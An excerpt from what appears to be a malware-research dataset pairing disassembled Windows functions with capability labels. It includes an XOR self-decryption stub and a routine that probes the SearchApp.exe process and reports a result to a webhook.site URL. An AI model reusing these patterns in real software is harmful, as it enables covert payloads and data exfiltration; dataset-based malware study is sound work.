joyce8/EMBER2024-capa huggingface dataset:
Function at 0x141911c78
Capabilities:
Encode data using xor

Disassembly:
jmp 0x141911c82
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x141911cab
pop rbp
sub rbp, 0x33
sub rbp, 0x1911c78
sub rsp, 0x20
jmp 0x141911cca
mov rax, 0x1911c78
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0xffffffffbe94fe5e
xor byte [rax], dl
inc rax
dec rcx
jne 0x141911ce9
jmp 0x141911d00
invalid
Function at 0x140765010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14076505a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14076505a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14076505a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14076505a
cmp dword [rcx + 0x84], 0xe
jbe 0x14076505a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14076505c
xor al, al
add rsp, 0x28
ret

Function at 0x140766394
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1407664dc
Function at 0x1400051a4
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 8]
xor edi, edi
xor eax, eax
lock cmpxchg qword [0x14000b808], rcx
je 0x1400051da
cmp rax, rcx
jne 0x1400051d8
mov ebx, 1
mov edi, ebx
jmp 0x1400051df
jmp 0x1400051bd
mov ebx, 1
mov eax, dword [0x14000b810]
cmp eax, ebx
jne 0x1400051f5
mov ecx, 0x1f
call sub.MSVCR120_CLR0400.dll__amsg_exit
jmp 0x14000522c
mov eax, dword [0x14000b810]
test eax, eax
jne 0x140005226
mov dword [0x14000b810], ebx
lea rdx, [0x140007430]
lea rcx, [0x140007410]
call sub.MSVCR120_CLR0400.dll__initterm_e
test eax, eax
je 0x14000522c
mov eax, 0xff
jmp 0x14000531d
mov dword [0x14000a9e8], ebx
mov eax, dword [0x14000b810]
cmp eax, ebx
jne 0x140005253
lea rdx, [0x140007408]
lea rcx, [0x1400073c8]
call sub.MSVCR120_CLR0400.dll__initterm
mov dword [0x14000b810], 2
test edi, edi
jne 0x140005260
xor eax, eax
xchg qword [0x14000b808], rax
cmp qword [0x14000b828], 0
je 0x140005298
lea rcx, [0x14000b828]
call fcn.140005600
test eax, eax
je 0x140005298
mov rbx, qword [0x14000b828]
mov rcx, rbx
mov rax, qword [fcn.140005cf0]
call rax
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call rbx
mov rcx, qword [0x14000aa00]
mov rax, qword [sym.imp.MSVCR120_CLR0400.dll___winitenv]
mov qword [rax], rcx
mov r8, qword [0x14000aa00]
mov rdx, qword [0x14000a9f8]
mov ecx, dword [0x14000a9f4]
call fcn.140002a34
mov dword [0x14000a9ec], eax
cmp dword [0x14000a9f0], 0
jne 0x1400052d9
mov ecx, eax
call qword [sym.imp.MSVCR120_CLR0400.dll_exit]
cmp dword [0x14000a9e8], 0
jne 0x1400052ee
call qword [sym.imp.MSVCR120_CLR0400.dll__cexit]
mov eax, dword [0x14000a9ec]
jmp 0x14000531d
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
sub rsp, 0x28
call fcn.14009b000
add rsp, 0x28
jmp 0x1400051a4
Function at 0x1400010d0
Capabilities:
Create http request
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x370
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x360], rax
lea rcx, str.Starting__n
xor r15d, r15d
call fcn.140001010
xor edx, edx
mov dword [rsp + 0x40], 0x238
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001184
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140001184
nop word [rax + rax]
lea rdx, [rsp + 0x6c]
lea rcx, str.SearchApp.exe
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x14000116a
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001140
jmp 0x14000117b
lea rcx, str.FOUND__n
call fcn.140001010
mov r15d, dword [rsp + 0x48]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rsp + 0x30]
mov esi, 0xffffffff
xor ebp, ebp
mov r14d, 0x12c
nop word [rax + rax]
mov r8d, r15d
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x1400011ce
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_open_process._Error:__lu_n
call fcn.140001010
jmp 0x1400011f8
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_QueryProcessCycleTime]
mov rcx, rbx
test eax, eax
je 0x1400011f0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rsp + 0x30]
jmp 0x1400011f8
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
lea eax, [rsi + 1]
cmp rdi, rbp
mov ecx, 0x3e8
cmovbe eax, esi
mov esi, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
dec r14d
mov rax, rdi
cmp rdi, rbp
cmovbe rax, rbp
mov rbp, rax
test r14d, r14d
jg 0x1400011a0
lea rax, str.else_n
cmp esi, 0xa
lea rcx, str.no_else_n
cmovle rcx, rax
call fcn.140001010
mov edx, esi
lea rcx, str.Total_changes:__d_n
call fcn.140001010
lea rcx, str.ATSD__n
call fcn.140001010
xor r9d, r9d
mov dword [rsp + 0x20], 0
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rbx, rax
test rax, rax
je 0x1400012e5
mov r9d, esi
lea r8, str.https:__webhook.site_f8862475_ed21_47fa_9d1c_759672a48b4a__d
mov edx, 0x64
lea rcx, [rsp + 0x40]
call fcn.140001070
xor r9d, r9d
mov qword [rsp + 0x28], 0
xor r8d, r8d
mov dword [rsp + 0x20], 0x2400
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rdi, rax
test rax, rax
je 0x1400012e5
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 0x27]
call qword [sym.imp.WININET.dll_InternetSetOptionW]
xor eax, eax
mov rcx, qword [rsp + 0x360]
xor rcx, rsp
call fcn.140001330
lea r11, [rsp + 0x370]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
Function at 0x140016630
Capabilities:
Encode data using xor
Encrypt data using rc4 prga
Hash data using fnv

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
cmp qword [r8 + 0x18], 8
mov rdi, rdx
mov r10, qword [r8 + 0x10]
mov rbx, rcx
mov r11, r8
jb 0x140016660
mov r11, qword [r8]
lea rdx, [r10 + r10]
xor ecx, ecx
movabs r9, 0xcbf29ce484222325
test rdx, rdx
je 0x140016693
movzx eax, byte [rcx + r11]
movabs rsi, 0x100000001b3
xor r9, rax
inc rcx
imul r9, rsi
cmp rcx, rdx
jb 0x140016675
mov r14, qword [rbx + 0x30]
mov r12, qword [rbx + 0x18]
and r14, r9
mov r11, qword [rbx + 8]
add r14, r14
mov rax, qword [r12 + r14*8]
cmp qword [r12 + r14*8], r11
jne 0x1400166b4
mov rcx, r11
jmp 0x1400166bc
mov rcx, qword [r12 + r14*8 + 8]
mov rcx, qword [rcx]
cmp rax, rcx
je 0x140016789
cmp qword [r8 + 0x18], 8
lea rcx, [rax + 0x10]
mov rdx, r8
jb 0x1400166d6
mov rdx, qword [r8]
mov r15, qword [rcx + 0x18]
mov rsi, qword [rcx + 0x10]
cmp r15, 8
jb 0x1400166e7
mov rcx, qword [rcx]
cmp rsi, r10
jne 0x140016725
mov rbp, rsi
test rsi, rsi
je 0x14001672d
movzx r9d, word [rcx]
movzx ebx, word [rdx]
cmp r9w, bx
jb 0x140016725
sub rcx, rdx
cmp r9w, bx
ja 0x140016725
cmp rbp, 1
je 0x14001672d
add rdx, 2
dec rbp
movzx r9d, word [rcx + rdx]
movzx ebx, word [rdx]
cmp r9w, bx
jae 0x140016708
mov rax, qword [rax]
jmp 0x1400166a9
lea rcx, [rax + 0x10]
cmp r15, 8
jb 0x14001673a
mov rcx, qword [rcx]
cmp qword [r8 + 0x18], 8
jb 0x140016744
mov r8, qword [r8]
cmp r10, rsi
jne 0x140016781
test r10, r10
je 0x140016784
movzx edx, word [r8]
movzx r9d, word [rcx]
cmp dx, r9w
jb 0x140016781
sub r8, rcx
cmp dx, r9w
ja 0x140016781
cmp r10, 1
je 0x140016784
add rcx, 2
dec r10
movzx edx, word [rcx + r8]
movzx r9d, word [rcx]
cmp dx, r9w
jae 0x140016763
mov rax, r11
mov qword [rdi], rax
jmp 0x14001678c
mov qword [rdi], r11
mov rbx, qword [rsp + 0x20]
mov rax, rdi
mov rdi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
pop r15
pop r14
pop r12
ret
Function at 0x1400168c4
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rdi, r8
mov rsi, rdx
mov r8, rcx
lea r9, [rdi + 0x10]
cmp qword [r9 + 0x18], 8
mov r10, r9
mov r11, qword [r9 + 0x10]
jb 0x1400168f1
mov r10, qword [r9]
xor edx, edx
movabs rcx, 0xcbf29ce484222325
add r11, r11
je 0x140016920
movzx eax, byte [rdx + r10]
movabs rbx, 0x100000001b3
xor rcx, rax
inc rdx
imul rcx, rbx
cmp rdx, r11
jb 0x140016902
mov rdx, qword [r8 + 0x30]
and rdx, rcx
mov rcx, qword [r8 + 0x18]
add rdx, rdx
cmp qword [rcx + rdx*8 + 8], rdi
jne 0x140016958
cmp qword [rcx + rdx*8], rdi
jne 0x14001694d
mov rax, qword [r8 + 8]
mov qword [rcx + rdx*8], rax
mov rcx, qword [r8 + 0x18]
mov rax, qword [r8 + 8]
jmp 0x140016951
mov rax, qword [rdi + 8]
mov qword [rcx + rdx*8 + 8], rax
jmp 0x140016965
cmp qword [rcx + rdx*8], rdi
jne 0x140016965
mov rax, qword [rdi]
mov qword [rcx + rdx*8], rax
mov rax, qword [rdi + 8]
mov rcx, r9
mov rbx, qword [rdi]
mov qword [rax], rbx
mov rdx, qword [rdi]
mov rax, qword [rdi + 8]
mov qword [rdx + 8], rax
dec qword [r8 + 0x10]
call fcn.140013b10
mov rcx, rdi
call fcn.140261814
mov qword [rsi], rbx
mov rax, rsi
mov rsi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x1400169ac
Capabilities:
Encode data using xor
Encrypt data using rc4 prga
Hash data using fnv

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], r9
mov qword [rax + 8], rcx
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x30
mov qword [rax - 0x38], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov rdi, r9
mov r10, r8
mov rsi, rdx
mov r9, rcx
mov r15, qword [r8 + 0x10]
cmp qword [r8 + 0x18], 8
jb 0x1400169e9
mov r8, qword [r8]
movabs rdx, 0xcbf29ce484222325
lea r11, [r15 + r15]
xor ecx, ecx
test r11, r11
je 0x140016a1c
movzx eax, byte [rcx + r8]
xor rdx, rax
movabs rbx, 0x100000001b3
imul rdx, rbx
inc rcx
cmp rcx, r11
jb 0x1400169fe
mov r8, qword [r9 + 0x30]
and r8, rdx
mov rax, r8
add rax, rax
mov rcx, qword [r9 + 0x18]
mov rbx, qword [r9 + 8]
mov r12, qword [rcx + rax*8]
cmp rbx, r12
je 0x140016ae8
mov rbx, qword [rcx + rax*8 + 8]
mov rbx, qword [rbx]
cmp rbx, r12
je 0x140016ae8
mov rbx, qword [rbx + 8]
lea rax, [rbx + 0x10]
mov rcx, qword [rax + 0x10]
cmp qword [rax + 0x18], 8
jb 0x140016a65
mov rax, qword [rax]
mov r11, r10
cmp qword [r10 + 0x18], 8
jb 0x140016a72
mov r11, qword [r10]
cmp r15, rcx
jne 0x140016a46
mov r14, r15
test r15, r15
je 0x140016aaf
movzx ecx, word [r11]
movzx edx, word [rax]
cmp cx, dx
jb 0x140016a46
sub r11, rax
cmp cx, dx
ja 0x140016a46
cmp r14, 1
je 0x140016aaf
dec r14
add rax, 2
movzx ecx, word [r11 + rax]
movzx edx, word [rax]
cmp cx, dx
jae 0x140016a91
jmp 0x140016a46
mov rdx, qword [rdi + 8]
mov rax, qword [rdi]
mov qword [rdx], rax
mov rdx, qword [rdi]
mov rax, qword [rdi + 8]
mov qword [rdx + 8], rax
dec qword [r9 + 0x10]
lea rcx, [rdi + 0x10]
call fcn.140013b10
mov rcx, rdi
call fcn.140261814
mov qword [rsi], rbx
mov byte [rsi + 8], 0
mov rax, rsi
jmp 0x140016b7e
mov rdx, qword [rdi]
cmp rbx, rdx
je 0x140016b1d
mov rax, qword [rdi + 8]
mov qword [rax], rdx
mov rax, qword [rdx + 8]
mov qword [rax], rbx
mov rax, qword [rbx + 8]
mov qword [rax], rdi
mov rcx, qword [rbx + 8]
mov rax, qword [rdx + 8]
mov qword [rbx + 8], rax
mov rax, qword [rdi + 8]
mov qword [rdx + 8], rax
mov qword [rdi + 8], rcx
add r8, r8
mov rdx, qword [r9 + 0x18]
mov rax, qword [rdx + r8*8]
cmp rax, qword [r9 + 8]
jne 0x140016b3d
mov qword [rdx + r8*8], rdi
mov rax, qword [r9 + 0x18]
mov qword [rax + r8*8 + 8], rdi
jmp 0x140016b6c
cmp rax, rbx
jne 0x140016b48
mov qword [rdx + r8*8], rdi
jmp 0x140016b6c
mov rax, qword [rdx + r8*8 + 8]
mov rcx, qword [rax]
mov qword [rdx + r8*8 + 8], rcx
cmp rcx, rdi
je 0x140016b6c
mov rdx, qword [r9 + 0x18]
mov rax, qword [rdx + r8*8 + 8]
mov rcx, qword [rax + 8]
mov qword [rdx + r8*8 + 8], rcx
mov rcx, r9
call fcn.140016814
mov qword [rsi], rdi
mov byte [rsi + 8], 1
mov rax, rsi
mov rbx, qword [rsp + 0x68]
add rsp, 0x30
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x140023d00
Capabilities:
Get thread local storage value

Disassembly:
mov rax, rsp
push rbp
push rdi
push r15
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x30], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov rsi, rcx
and dword [rbp + 0x20], 0
mov ecx, dword [0x1403c2f98]
cmp byte [0x1403c2f9c], 0
je 0x140023d3c
call qword [sym.imp.KERNEL32.dll_FlsGetValue]
jmp 0x140023d43
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
nop
test rax, rax
jne 0x140023d5f
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x18], xmm0
lea rax, [rbp - 0x18]
mov edi, 1
mov rcx, qword [rbp - 0x20]
jmp 0x140023d84
mov rcx, qword [rax + 8]
test rcx, rcx
je 0x140023d70
lock inc dword [rcx + 8]
mov rcx, qword [rax + 8]
mov rax, qword [rax]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x20], rcx
lea rax, [rbp - 0x28]
mov edi, 2
and qword [rsi], 0
and qword [rsi + 8], 0
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x140023d9e
lock inc dword [rdx + 8]
mov rcx, qword [rbp - 0x20]
mov rax, qword [rax]
mov qword [rsi], rax
mov qword [rsi + 8], rdx
or r15d, 0xffffffff
test dil, 2
je 0x140023df9
and edi, 0xfffffffd
test rcx, rcx
je 0x140023df9
mov eax, r15d
lock xadd dword [rcx + 8], eax
add eax, r15d
jne 0x140023df9
mov rbx, qword [rbp - 0x20]
mov rax, qword [rbx]
mov rcx, rbx
mov rax, qword [rax]
call qword [case.0x140118f85.0]
mov eax, r15d
lock xadd dword [rbx + 0xc], eax
add eax, r15d
jne 0x140023df9
mov rcx, qword [rbp - 0x20]
mov rax, qword [rcx]
mov rax, qword [rax + 8]
call qword [case.0x140118f85.0]
nop
test dil, 1
je 0x140023e47
mov rcx, qword [rbp - 0x10]
test rcx, rcx
je 0x140023e47
mov eax, r15d
lock xadd dword [rcx + 8], eax
add eax, r15d
jne 0x140023e47
mov rbx, qword [rbp - 0x10]
mov rax, qword [rbx]
mov rcx, rbx
mov rax, qword [rax]
call qword [case.0x140118f85.0]
mov eax, r15d
lock xadd dword [rbx + 0xc], eax
add eax, r15d
jne 0x140023e47
mov rcx, qword [rbp - 0x10]
mov rax, qword [rcx]
mov rax, qword [rax + 8]
call qword [case.0x140118f85.0]
nop
mov rax, rsi
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop rdi
pop rbp
ret
Function at 0x1400241c8
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rdi
sub rsp, 0x30
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x40], rbx
mov ecx, dword [0x1403c2f98]
cmp byte [0x1403c2f9c], 0
je 0x1400241f3
call qword [sym.imp.KERNEL32.dll_FlsGetValue]
jmp 0x1400241fa
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
nop
mov rdi, rax
test rax, rax
je 0x140024279
mov rbx, qword [rax + 8]
test rbx, rbx
je 0x140024245
or eax, 0xffffffff
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x140024245
mov rax, qword [rbx]
mov rcx, rbx
mov rax, qword [rax]
call qword [case.0x140118f85.0]
or eax, 0xffffffff
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140024245
mov rax, qword [rbx]
mov rcx, rbx
mov rax, qword [rax + 8]
call qword [case.0x140118f85.0]
nop
mov rcx, rdi
call fcn.140261814
xor edx, edx
mov ecx, dword [0x1403c2f98]
cmp byte [0x1403c2f9c], dl
je 0x140024268
nop dword [rax]
call qword [sym.imp.KERNEL32.dll_FlsSetValue]
jmp 0x140024270
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
nop
nop
test eax, eax
jne 0x140024279
lea ecx, [rax + 7]
int 0x29
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x14002624c
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
xor ebx, ebx
mov rdi, rcx
cmp byte [0x1403c3074], bl
mov ecx, dword [0x1403c3070]
je 0x140026271
call qword [sym.imp.KERNEL32.dll_FlsGetValue]
jmp 0x140026277
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x1400262d5
mov rcx, qword [rax + 0x20]
test rcx, rcx
je 0x1400262d5
mov rdx, qword [rax]
mov r8, qword [rax + 0x18]
mov rax, rbx
test rdx, rdx
je 0x14002629f
mov rdx, qword [rdx]
test rdx, rdx
je 0x14002629f
mov rax, qword [rdx]
lea rdx, [rcx - 1]
add rdx, r8
test rax, rax
je 0x1400262be
mov rax, qword [rax]
test rax, rax
je 0x1400262be
mov rax, qword [rax]
test rax, rax
je 0x1400262be
mov rbx, qword [rax]
mov rcx, qword [rbx + 0x10]
mov rax, qword [rbx + 8]
dec rcx
and rcx, rdx
mov rcx, qword [rax + rcx*8]
movups xmm0, xmmword [rcx]
jmp 0x1400262e6
xor eax, eax
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rax
movups xmm0, xmmword [rsp + 0x20]
mov rbx, qword [rsp + 0x40]
mov rax, rdi
movdqu xmmword [rdi], xmm0
add rsp, 0x30
pop rdi
ret

Function at 0x140026420
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbx
sub rsp, 0x20
cmp byte [0x1403c3074], 0
mov ecx, dword [0x1403c3070]
je 0x14002643d
call qword [sym.imp.KERNEL32.dll_FlsGetValue]
jmp 0x140026443
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbx, rax
test rax, rax
je 0x140026485
cmp qword [rax + 0x20], 0
je 0x140026485
mov edx, 0xae
lea r9, str.Ending_current_correlation.
mov ecx, 0x24c2248
lea r8d, [rdx - 0x4a]
call fcn.140143574
mov rcx, rbx
call fcn.1400264a8
cmp qword [rbx + 0x20], 0
jne 0x1400264a1
add rsp, 0x20
pop rbx
jmp fcn.1400267d0
mov rax, qword [str.x___]
lea rcx, str.x___
mov edx, 0x24c2247
mov rax, qword [rax]
call qword [case.0x140118f85.0]
add rsp, 0x20
pop rbx
ret
Function at 0x1400267d0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov ecx, dword [0x1403c3070]
xor edi, edi
cmp byte [0x1403c3074], dil
je 0x1400267f8
call qword [sym.imp.KERNEL32.dll_FlsGetValue]
jmp 0x1400267fe
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbx, rax
test rax, rax
je 0x140026893
mov rax, qword [rax + 0x50]
cmp rax, 8
jb 0x140026841
mov rcx, qword [rbx + 0x38]
lea rax, [rax*2 + 2]
cmp rax, 0x1000
jb 0x14002683c
mov rdx, qword [rcx - 8]
sub rcx, rdx
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400268a3
mov rcx, rdx
call fcn.140261814
mov qword [rbx + 0x48], rdi
lea rcx, [rbx + 0x28]
mov esi, 7
mov qword [rbx + 0x50], rsi
mov word [rbx + 0x38], di
call fcn.140025590
mov rcx, rbx
call fcn.140026944
mov rcx, rbx
call fcn.140261814
mov ecx, dword [0x1403c3070]
xor edx, edx
cmp byte [0x1403c3074], dil
je 0x140026884
call qword [sym.imp.KERNEL32.dll_FlsSetValue]
jmp 0x14002688a
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
jne 0x140026893
mov rcx, rsi
int 0x29
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
call fcn.140261a5c
int3

Function at 0x140026bd8
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rdi
sub rsp, 0x30
mov qword [rax - 0x18], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
xor esi, esi
mov ecx, dword [0x1403c3070]
cmp byte [0x1403c3074], sil
je 0x140026c0d
call qword [sym.imp.KERNEL32.dll_FlsGetValue]
jmp 0x140026c13
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, rax
test rax, rax
jne 0x140026cb6
lea ebx, [rax + 0x58]
mov ecx, ebx
call fcn.140261ad4
mov rdi, rax
test rax, rax
je 0x140026cd3
mov qword [rsp + 0x40], rax
mov r8d, ebx
xor edx, edx
mov rcx, rax
call fcn.140238d40
lea ecx, [rbx - 0x48]
call fcn.140261ad4
test rax, rax
je 0x140026cc9
mov qword [rdi], rax
xorps xmm0, xmm0
movdqu xmmword [rax], xmm0
mov rax, qword [rdi]
mov qword [rax], rdi
lea rbx, [rdi + 0x28]
mov qword [rsp + 0x48], rbx
mov qword [rbx], rsi
mov qword [rbx + 8], rsi
call fcn.140025670
mov qword [rbx], rax
mov qword [rdi + 0x48], rsi
mov ebx, 7
mov qword [rdi + 0x50], rbx
mov word [rdi + 0x38], si
mov rdx, rdi
mov ecx, dword [0x1403c3070]
cmp byte [0x1403c3074], sil
je 0x140026ca7
call qword [sym.imp.KERNEL32.dll_FlsSetValue]
jmp 0x140026cad
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
jne 0x140026cb6
mov rcx, rbx
int 0x29
mov rax, rdi
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
call fcn.140147a48
nop
jmp 0x140026cd2
nop
call fcn.140147a48
int3
Function at 0x140037bc8
Capabilities:
Encode data using xor
Encrypt data using rc4 prga
Hash data using fnv

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], r9
mov qword [rax + 8], rcx
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x30
mov qword [rax - 0x38], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov rdi, r9
mov r10, r8
mov rsi, rdx
mov r9, rcx
mov r15, qword [r8 + 0x10]
cmp qword [r8 + 0x18], 8
jb 0x140037c05
mov r8, qword [r8]
movabs rdx, 0xcbf29ce484222325
lea r11, [r15 + r15]
xor ecx, ecx
test r11, r11
je 0x140037c38
movzx eax, byte [rcx + r8]
xor rdx, rax
movabs rbx, 0x100000001b3
imul rdx, rbx
inc rcx
cmp rcx, r11
jb 0x140037c1a
mov r8, qword [r9 + 0x30]
and r8, rdx
mov rax, r8
add rax, rax
mov rcx, qword [r9 + 0x18]
mov rbx, qword [r9 + 8]
mov r12, qword [rcx + rax*8]
cmp rbx, r12
je 0x140037d04
mov rbx, qword [rcx + rax*8 + 8]
mov rbx, qword [rbx]
cmp rbx, r12
je 0x140037d04
mov rbx, qword [rbx + 8]
lea rax, [rbx + 0x10]
mov rcx, qword [rax + 0x10]
cmp qword [rax + 0x18], 8
jb 0x140037c81
mov rax, qword [rax]
mov r11, r10
cmp qword [r10 + 0x18], 8
jb 0x140037c8e
mov r11, qword [r10]
cmp r15, rcx
jne 0x140037c62
mov r14, r15
test r15, r15
je 0x140037ccb
movzx ecx, word [r11]
movzx edx, word [rax]
cmp cx, dx
jb 0x140037c62
sub r11, rax
cmp cx, dx
ja 0x140037c62
cmp r14, 1
je 0x140037ccb
dec r14
add rax, 2
movzx ecx, word [r11 + rax]
movzx edx, word [rax]
cmp cx, dx
jae 0x140037cad
jmp 0x140037c62
mov rdx, qword [rdi + 8]
mov rax, qword [rdi]
mov qword [rdx], rax
mov rdx, qword [rdi]
mov rax, qword [rdi + 8]
mov qword [rdx + 8], rax
dec qword [r9 + 0x10]
lea rcx, [rdi + 0x10]
call fcn.1400331f0
mov rcx, rdi
call fcn.140261814
mov qword [rsi], rbx
mov byte [rsi + 8], 0
mov rax, rsi
jmp 0x140037d9a
mov rdx, qword [rdi]
cmp rbx, rdx
je 0x140037d39
mov rax, qword [rdi + 8]
mov qword [rax], rdx
mov rax, qword [rdx + 8]
mov qword [rax], rbx
mov rax, qword [rbx + 8]
mov qword [rax], rdi
mov rcx, qword [rbx + 8]
mov rax, qword [rdx + 8]
mov qword [rbx + 8], rax
mov rax, qword [rdi + 8]
mov qword [rdx + 8], rax
mov qword [rdi + 8], rcx
add r8, r8
mov rdx, qword [r9 + 0x18]
mov rax, qword [rdx + r8*8]
cmp rax, qword [r9 + 8]
jne 0x140037d59
mov qword [rdx + r8*8], rdi
mov rax, qword [r9 + 0x18]
mov qword [rax + r8*8 + 8], rdi
jmp 0x140037d88
cmp rax, rbx
jne 0x140037d64
mov qword [rdx + r8*8], rdi
jmp 0x140037d88
mov rax, qword [rdx + r8*8 + 8]
mov rcx, qword [rax]
mov qword [rdx + r8*8 + 8], rcx
cmp rcx, rdi
je 0x140037d88
mov rdx, qword [r9 + 0x18]
mov rax, qword [rdx + r8*8 + 8]
mov rcx, qword [rax + 8]
mov qword [rdx + r8*8 + 8], rcx
mov rcx, r9
call fcn.140037f98
mov qword [rsi], rdi
mov byte [rsi + 8], 1
mov rax, rsi
mov rbx, qword [rsp + 0x68]
add rsp, 0x30
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x140038048
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rdi, r8
mov rsi, rdx
mov r8, rcx
lea r9, [rdi + 0x10]
cmp qword [r9 + 0x18], 8
mov r10, r9
mov r11, qword [r9 + 0x10]
jb 0x140038075
mov r10, qword [r9]
xor edx, edx
movabs rcx, 0xcbf29ce484222325
add r11, r11
je 0x1400380a4
movzx eax, byte [rdx + r10]
movabs rbx, 0x100000001b3
xor rcx, rax
inc rdx
imul rcx, rbx
cmp rdx, r11
jb 0x140038086
mov rdx, qword [r8 + 0x30]
and rdx, rcx
mov rcx, qword [r8 + 0x18]
add rdx, rdx
cmp qword [rcx + rdx*8 + 8], rdi
jne 0x1400380dc
cmp qword [rcx + rdx*8], rdi
jne 0x1400380d1
mov rax, qword [r8 + 8]
mov qword [rcx + rdx*8], rax
mov rcx, qword [r8 + 0x18]
mov rax, qword [r8 + 8]
jmp 0x1400380d5
mov rax, qword [rdi + 8]
